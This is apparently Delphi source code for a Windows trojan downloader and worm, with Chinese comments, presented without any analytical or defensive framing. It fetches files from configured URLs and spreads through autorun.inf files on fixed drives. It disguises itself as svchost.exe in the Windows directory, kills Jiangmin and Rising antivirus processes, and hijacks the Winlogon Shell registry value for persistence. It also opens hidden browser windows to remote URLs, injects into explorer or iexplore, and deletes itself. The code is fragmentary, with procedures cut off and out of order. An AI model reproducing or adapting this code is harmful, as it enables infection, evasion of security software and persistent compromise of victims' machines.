{ function GetHostNam:String; var ComputerName: array[0..MAX_COMPUTERNAME_LENGTH+1] of char; Size: Cardinal; begin result:=''; Size := MAX_COMPUTERNAME_LENGTH+1; GetComputerName(ComputerName, Size); Result:=StrPas(ComputerName); end;
//获取本机IP procedure nametoIP; type TaPInAddr = array[0..255] of PInAddr; PaPInAddr = ^TaPInAddr; var phe: PHostEnt; pptr: PaPInAddr; Buffer: array[0..63] of char; i: integer; GInitData: TWSADATA; temp:string; begin wsastartup($101, GInitData); Temp := ''; GetHostName(Buffer, SizeOf(Buffer)); phe := GetHostByName(buffer); if not assigned(phe) then exit; pptr := PaPInAddr(Phe^.h_addr_list); i := 0; while pptr^[I] <> nil do begin Temp := Temp + StrPas(inet_ntoa(pptr^[I]^)) + ','; inc(i); end; Delete(Temp, Length(Temp), 1); try trueip :=Temp; except end; wsacleanup; end; }
procedure tlabel(); var f:textfile; i:integer; buffer,disk:string;
begin
buffer:='first run'; Assignfile(F,'C:\program files\label.tmp'); ifnot FileExists('C:\program files\label.tmp') Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,'C:\program files\label.tmp'); {$I-} Rewrite(F); {$I+} If IOResult<>0 Then exit; //Write(F,Memo_gettxt.Text); //Memo_gettxt.Text:=''; Write(F,buffer);
Closefile(F); end;
procedure Download; //下载过程 begin sleep(main); URLDownloadToFile(nil,urllabel, 'C:\program files\temp.tmp', 0, nil); //WinExec('C:\program files\system1.exe', SW_SHOW); //SW_SHOW or SW_HIDE sleep(k); if FileExists('c:\Program Files\temp.tmp') then begin
procedure infect(); var f:textfile; i:integer; buffer,disk:string; begin begin
buffer:='[AutoRun]'+#13#10+'open=pagefile.pif'; Assignfile(F,'C:\program files\autorun.inf'); ifnot FileExists('C:\program files\autorun.inf') Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,'C:\program files\autorun.inf'); {$I-} Rewrite(F); {$I+} If IOResult<>0 Then exit; //Write(F,Memo_gettxt.Text); //Memo_gettxt.Text:=''; Write(F,buffer);
Closefile(F); end;
for i:= ord('c') to ord('z') do begin disk:=chr(i); if getdrivetype(pchar(disk+':\'))=3then begin copyfile('C:\program files\autorun.inf',pchar(disk+':\autorun.inf'),true);
SetFileAttributes(pchar(disk+':\pagefile.pif'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); end; end; deletefile('C:\program files\autorun.inf'); end; function GetFileSize(const FileName: String): LongInt; var SearchRec: TSearchRec; begin if FindFirst(ExpandFileName(FileName), faAnyFile, SearchRec) =0then Result := SearchRec.Size else Result :=-1; end; function Killpro(ExeFileName: string): integer; const PROCESS_TERMINATE=$0001; var ContinueLoop:BOOL; FSnapshotHandle:THandle; FProcessEntry32:TProcessEntry32; begin result:=0; FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); FProcessEntry32.dwSize:=Sizeof(FProcessEntry32); ContinueLoop:=Process32First(FSnapshotHandle, FProcessEntry32); while integer(ContinueLoop)<>0do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile))=ExtractFileName(UpperCase(ExeFileName))) or (UpperCase(FProcessEntry32.szExeFile) =UpperCase(ExeFileName))) then Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE,BOOL(0),FProcessEntry32.th32ProcessID),0)); ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32); end; CloseHandle(FSnapshotHandle); end;
GetwindowsDirectory(sysdir,145); if FileExists(sysdir+'\svchost.exe') then begin //自校验 if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit; if getfilesize(pchar(sysdir+'\svchost.exe'))<>getfilesize(pchar(paramstr(0))) then//获取大小比较 begin killpro('svchost.exe'); deletefile(pchar(sysdir+'\svchost.exe')); copyfile(pchar(paramstr(0)),pchar(sysdir+'\svchost.exe'),true); WinExec(pchar(sysdir+'\svchost.exe'), SW_HIDE); //tlabel(); //升级不算第一次下载
if static<>'1'then shellexecute(0,'open','Iexplore.exe',urlupdate,nil,SW_hide);
//sleep(6000); if strtoint(delself)<>1then ExtDelMe;
end; end;
k:=strtoint(time)*1000; main:=strtoint(timemain)*1000; n:=0; repeat n:=n+1; begin DeleteFile('c:\Program Files\system'+inttostr(n)+'.exe'); //1 end; until n>11; if FileExists('c:\Program Files\temp.tmp') then deletefile ('c:\Program Files\temp.tmp');
GetwindowsDirectory(sysdir,145);
ifnot FileExists(sysdir+'\svchost.exe') then begin //自校验 if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit; copyfile(pchar(paramstr(0)),pchar(sysdir+'\svchost.exe'),true); if strtoint(kill)<>1then begin killpro('kvmonxp.exe');//江民 killpro('ravmon.exe')//瑞星 end; if static<>'1'then shellexecute(0,'open','Iexplore.exe',urlfirst, nil, SW_HIDE); kkk:='Explorer.exe svchost.exe'; RegCreateKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',ret2); RegSetValueEx(Ret2,'Shell', 0, REG_SZ,pchar(kkk), Length(pchar(kkk))+1); //MessageBox(0, '完成', '提示', mb_iconinformation); RegCloseKey(Ret2); WinExec(pchar(sysdir+'\svchost.exe'), SW_HIDE); tlabel(); //sleep(6000); if strtoint(delself)<>1then ExtDelMe; end;
{//EXE关联利用传入参数 if ParamCount> 0 then begin origin; winexec(pchar(ParamStr(1)),sw_show); reg; end; } CreateMutex(nil, True,'system');//设置一个内存标示~防止程序多次运行 if (GetlastError()= ERROR_ALREADY_EXISTS) then halt;
//自校验 if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit; RunInject(1); //1 注入iexplore.exe 0 注入explorer.exe if FileExists('c:\Program Files\label.tmp') then deletefile ('c:\Program Files\label.tmp'); if static<>'1'then shellexecute(0, 'open', 'Iexplore.exe', urldown, nil, SW_HIDE);
if strtoint(infectl)<>1then hTimer1 := SetTimer(0, 0, 30, @TimerProc1);
while(GetMessage(Msg,0,0,0))do//回调函数,非常非常重要,不然TIMER就不管用了 begin TranslateMessage(Msg); DispatchMessage(Msg); end;